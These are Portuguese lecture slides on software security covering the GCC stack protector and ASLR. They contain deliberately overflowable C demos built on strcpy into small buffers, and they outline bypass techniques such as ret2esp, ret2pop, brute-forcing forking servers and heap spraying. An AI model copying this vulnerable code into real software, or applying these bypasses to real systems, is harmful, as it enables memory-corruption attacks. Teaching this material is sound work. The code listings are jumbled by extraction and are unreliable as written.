  • 232. Stack Protector Estado da arte (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Estudos desenvolvidos em torno das técnicas de ataque levaram à criação de um mecanismo difícil de ser contornado.  Conta com proteção do endereço de retorno, proteção das variáveis locais, proteção dos argumentos, e proteção do ebp salvo.  O canary é randomizado de modo que não seja facilmente predizível.
  • 233. Stack Protector Estado da arte (In)Segurança de Software, Quebrando Códigos - Rafael Rosa void func(char *str){ char buf[8]; int main(int argc, char *argv[]){ int a, b; char buf2[8]; if(argc != 2){ long c; fprintf(stderr, "uso %s <param>n" , argv[0]); printf("str = %pn", &str); return 1; printf("buf = %pn", buf); } printf("a = %pn", &a); printf("b = %pn", &b); func(argv[1]); printf("buf2 = %pn", buf2); printf("c = %pn", &c); printf("fimn"); } strcpy(buf, str); }
  • 234. Stack Protector Proteção desabilitada (In)Segurança de Software, Quebrando Códigos - Rafael Rosa [rafael@centos stack protector]$ gcc -o stack_protector_ex61 stack_protector_ex6.c [rafael@centos stack protector]$ ./stack_protector_ex61 AAAABBBBCCCCDDDD str = 0xbfffe7f0 buf = 0xbfffe7e0 a = 0xbfffe7dc b = 0xbfffe7d8 buf2 = 0xbfffe7d0 c = 0xbfffe7cc Segmentation fault [rafael@centos stack protector]$
  • 235. Stack Protector Proteção habilitada (In)Segurança de Software, Quebrando Códigos - Rafael Rosa [rafael@centos stack protector]$ gcc -fstack-protector -o stack_protector_ex62 stack_protector_ex 6.c [rafael@centos stack protector]$ ./stack_protector_ex62 AAAABBBBCCCCDDDD str = 0xbfffe7c4 buf = 0xbfffe7dc a = 0xbfffe7d0 b = 0xbfffe7cc buf2 = 0xbfffe7d4 c = 0xbfffe7c8 *** stack smashing detected ***: ./stack_protector_ex62 terminated Aborted [rafael@centos stack protector]$
  • 236. Stack Protector A proteção (In)Segurança de Software, Quebrando Códigos - Rafael Rosa stack protector ativado  Valor é comparado ao original no retorno da função e ; prólogo push %ebp movcaso sejam diferentes ostack protectoré detectado e o str %esp,%ebp overflow desativado sub programa termina. $0x38,%esp c mov 0x8(%ebp),%eax c b mov %eax,-0x24(%ebp) a mov %gs:0x14,%eax buf2 mov %eax,-0x4(%ebp) buf2 b ;epílogo a buf mov -0x4(%ebp),%eax xor %gs:0x14,%eax buf je 0x8048530 <func+172> canary call 0x804838c <__stack_chk_fail@plt> ebp ebp leave retaddr retaddr ret str str
  • 237. Stack Protector Problema (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Atrapalha no desempenho do programa.  Proteção aplicada somente à arrays de char.  Array de char deve possuir no mínimo 8 bytes para que a proteção seja aplicada.  Array de char deve possuir no mínimo 8 bytes para que seja reordenado.  Variáveis de structs não são reordenadas.
  • 238. Stack Protector Arrays de não-chars (In)Segurança de Software, Quebrando Códigos - Rafael Rosa void func(char *str){ printf("b = %pn", &b); int buf[8]; printf("buf2 = %pn", buf2); int a, b; printf("c = %pn", &c); int buf2[8]; } long c; int main(int argc, char *argv[]){ printf("str = %pn", &str); func(argv[1]); printf("buf = %pn", buf); printf("fimn"); printf("a = %pn", &a); } [rafael@centos stack protector]$ gcc -fstack-protector -o stack_protector_ex7 stack_protector_ex7.c [rafael@centos stack protector]$ ./stack_protector_ex7 str = 0xbfffe810 buf = 0xbfffe7dc a = 0xbfffe804 b = 0xbfffe800 buf2 = 0xbfffe7bc c = 0xbfffe7fc fim [rafael@centos stack protector]$
  • 239. Stack Protector Arrays de não-chars (In)Segurança de Software, Quebrando Códigos - Rafael Rosa buf2 ; prólogo push %ebp buf mov %esp,%ebp sub $0x58,%esp c ;epílogo b leave a ret ebp retaddr str
  • 240. Stack Protector Arrays com menos de 8 elementos (In)Segurança de Software, Quebrando Códigos - Rafael Rosa void func(char *str){ printf("b = %pn", &b); char buf[7]; printf("buf2 = %pn", buf2); int a, b; printf("c = %pn", &c); char buf2[7]; } long c; int main(int argc, char *argv[]){ printf("str = %pn", &str); func(argv[1]); printf("buf = %pn", buf); printf("fimn"); printf("a = %pn", &a); } [rafael@centos stack protector]$ gcc -fstack-protector -o stack_protector_ex8 stack_protector_ex8.c [rafael@centos stack protector]$ ./stack_protector_ex8 str = 0xbfffe810 buf = 0xbfffe7f5 a = 0xbfffe804 b = 0xbfffe800 buf2 = 0xbfffe7ee c = 0xbfffe7fc fim [rafael@centos stack protector]$
  • 241. Stack Protector Arrays com menos de 8 elementos (In)Segurança de Software, Quebrando Códigos - Rafael Rosa buf2 ; prólogo push %ebp buf mov %esp,%ebp sub $0x28,%esp c ;epílogo b leave a ret ebp retaddr str
  • 242. Stack Protector Não reodenamento de arrays (In)Segurança de Software, Quebrando Códigos - Rafael Rosa void func(char *str){ printf("b = %pn", &b); char buf[7]; printf("buf2 = %pn", buf2); int a, b; printf("c = %pn", &c); char buf2[8]; } long c; int main(int argc, char *argv[]){ printf("str = %pn", &str); func(argv[1]); printf("buf = %pn", buf); printf("fimn"); printf("a = %pn", &a); } [rafael@centos stack protector]$ gcc -fstack-protector -o stack_protector_ex9 stack_protector_ex9.c [rafael@centos stack protector]$ ./stack_protector_ex9 str = 0xbfffe7e4 buf = 0xbfffe7e9 a = 0xbfffe7f8 b = 0xbfffe7f4 buf2 = 0xbfffe7fc c = 0xbfffe7f0 fim [rafael@centos stack protector]$
  • 243. Stack Protector Não reodenamento de arrays (In)Segurança de Software, Quebrando Códigos - Rafael Rosa ; prólogo push %ebp str mov %esp,%ebp sub $0x38,%esp buf mov 0x8(%ebp),%eax mov %eax,-x24(%ebp) c mov %gs:0x14,%eax b mov %eax,-0x4(%ebp) a ;epílogo mov -0x4(%ebp),%eax buf2 xor %gs:0x14,%eax je 0x804849e <func+154> canary call 0x804830c<__stack_chk_fail@plt> ebp leave retaddr ret str
  • 244. Stack Protector Não reodenamento de variáveis em structs (In)Segurança de Software, Quebrando Códigos - Rafael Rosa struct struc{ printf("buf = %pn", buf); char buf[20]; printf("a = %pn", &a); int a; printf("s.buf = %pn", &s.buf); }; printf("s.a = %pn", &s.a); printf("c = %pn", &c); void func(char *str){ } char buf[4]; int a; int main(int argc, char *argv[]){ struct struc s; func(argv[1]); long c; printf("fimn"); printf("str = %pn", &str); } [rafael@centos stack protector]$ gcc -fstack-protector -o stack_protector_exA stack_protector_exA.c [rafael@centos stack protector]$ ./stack_protector_exA str = 0xbfffe7d4 buf = 0xbfffe7e8 a = 0xbfffe7e4 s.buf = 0xbfffe7ec s.a = 0xbfffe800 c = 0xbfffe7e0 fim [rafael@centos stack protector]$
  • 245. Stack Protector Não reodenamento de variáveis em structs (In)Segurança de Software, Quebrando Códigos - Rafael Rosa ;prólogo push %ebp str mov %esp,%ebp c sub $0x48,%esp a mov 0x8(%ebp),%eax mov %eax,-x34(%ebp) mov %gs:0x14,%eax buf mov %eax,-0x4(%ebp) s.buf ;epílogo mov -0x4(%ebp),%eax s.a xor %gs:0x14,%eax je 0x80484a1 <func+157> canary call 0x804830c<__stack_chk_fail@plt> ebp leave retaddr ret str
  • 246. Agenda (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Falhas de Software  Princípios de Segurança de Software  Introdução à Overflow de Memória  Stack Overflow  Heap Overflow  Integer Overflow  Format String Bug  Técnicas Modernas  WorX  Stack Protector  ASLR
  • 247. ASLR Definição (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Address Space Layout Randomization. Permite o mapeamento de blocos do programa para regiões aleatórias de memória, de modo que o endereço base dos blocos não sejam predizíveis.  O endereço de cada bloco é calculado separadamente, de tal forma que o endereço de cada um não tenha nenhuma relação com os outros.  Os blocos são três: área executável, área mapeada, e área da stack.
  • 248. ASLR Definição (In)Segurança de Software, Quebrando Códigos - Rafael Rosa [rafael@centos aslr]$ cat /proc/self/maps > catmaps1; cat /proc/self/maps > catmaps2 [rafael@centos aslr]$ diff -uNr catmaps1 catmaps2 --- catmaps1 2009-09-16 11:09:29.000000000 -0300 +++ catmaps2 2009-09-16 11:09:31.000000000 -0300 @@ -1,14 +1,14 @@ -00439000-0043a000 r-xp 00439000 00:00 0 [vdso] 00b1c000-00b36000 r-xp 00000000 fd:00 163878 /lib/ld-2.5.so 00b36000-00b37000 r-xp 00019000 fd:00 163878 /lib/ld-2.5.so 00b37000-00b38000 rwxp 0001a000 fd:00 163878 /lib/ld-2.5.so +00b3c000-00b3d000 r-xp 00b3c000 00:00 0 [vdso] 00b3f000-00c7d000 r-xp 00000000 fd:00 166245 /lib/libc-2.5.so 00c7d000-00c7f000 r-xp 0013e000 fd:00 166245 /lib/libc-2.5.so 00c7f000-00c80000 rwxp 00140000 fd:00 166245 /lib/libc-2.5.so 00c80000-00c83000 rwxp 00c80000 00:00 0 08048000-0804d000 r-xp 00000000 fd:00 1474600 /bin/cat 0804d000-0804e000 rw-p 00004000 fd:00 1474600 /bin/cat -09f36000-09f57000 rw-p 09f36000 00:00 0 [heap] -b7d0d000-b7f0d000 r--p 00000000 fd:00 1596699 /usr/lib/locale/locale-archive -b7f0d000-b7f0f000 rw-p b7f0d000 00:00 0 -bf963000-bf978000 rw-p bffea000 00:00 0 [stack] +08ca3000-08cc4000 rw-p 08ca3000 00:00 0 [heap] +b7da0000-b7fa0000 r--p 00000000 fd:00 1596699 /usr/lib/locale/locale-archive +b7fa0000-b7fa2000 rw-p b7fa0000 00:00 0 +bf871000-bf886000 rw-p bffea000 00:00 0 [stack]
  • 249. ASLR Área executável (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Apenas 16 bits são randomizados, do bit 12 ao bit 27 do endereço.
  • 250. ASLR Área mapeada (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  16 bits são randomizados, do bit 12 ao bit 27 do endereço.  Após obtido o endereço base da heap, um offset é gerado randomicamente, de modo a marcar o início da mesma e manter um alinhamento de 64k.
  • 251. ASLR Área da stack (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  16 bits são randomizados, do bit 4 ao bit 27 do endereço.  Após obtido o endereço base da stack, um offset é gerado randomicamente para marcar o início da mesma.
  • 252. ASLR /proc (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Sem o conhecimento dos endereços de memória do programa, para onde retornar?  O ASLR dificulta a execução de um ataque, porém para um ataque local: /proc/<pid>/maps ou /proc/<pid>/stat.
  • 253. ASLR Força bruta (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Chamada à fork mantém o mapa de memória do programa intacto.  Em um servidor que bifurca para tratar cada conexão, é possível implementar ataques de força bruta. Caso o payload não ganhe o eip e o programa quebre, o processo pai continua rodando e uma nova conexão pode ser iniciada.
  • 254. ASLR Áreas de memória não randomizadas (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  A randomização não precisa ser feita em todas as áreas de memória. Pode haver setores não randomizados.  Pode-se utilizar código da .text ou de bibliotecas compartilhadas para ganhar o controle do eip.  Caso um ponteiro para o payload seja conhecido, pode- se usar instruções do programa ou utilizar dados brutos do mesmo como instruções para chegar à execução do payload. Através de ret2eax, ret2esp, ret2ret, ret2pop.
  • 255. ASLR ret2eax (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Payload retornado pela função explorada.  Sobrescrever endereço de retorno para executar: jmp eax. vetor de injeção payload &(jmp eax) ... função vulnerável buffer explorado EBP anterior retaddr ... eax
  • 256. ASLR ret2esp (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Payload na stack, acima do endereço de retorno.  Função explorada não manipula strings (Não coloca NULL).  Retornar para instrução: jmp [esp]. esp vetor de injeção payload &(jmp esp) ptr buffer função vulnerável buffer explorado EBP anterior retaddr ptr buffer
  • 257. ASLR ret2ret (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Payload na stack, acima do endereço de retorno.  Função explorada não manipula strings (Não coloca NULL).  Retornar para instrução: ret. esp vetor de injeção payload &(ret) ptr buffer função vulnerável buffer explorado EBP anterior retaddr ptr buffer
  • 258. ASLR ret2pop (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Payload na stack, acima do endereço de retorno.  Retornar para instrução leave-ret. esp vetor de injeção payload &(leave-ret) 0x00 ptr buffer função vulnerável buffer explorado EBP anterior retaddr ... ptr buffer
  • 259. ASLR Heap Spraying (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Consiste na alocação de grande quantidade de memória da heap.  Payload replicado nesses blocos alocados.  Fazer fluxo do programa retornar para a heap.  Alinhamento da heap aumenta chance de acerto.
  • 260. (In)Segurança de Software, Quebrando Códigos - Rafael Rosa EOF

×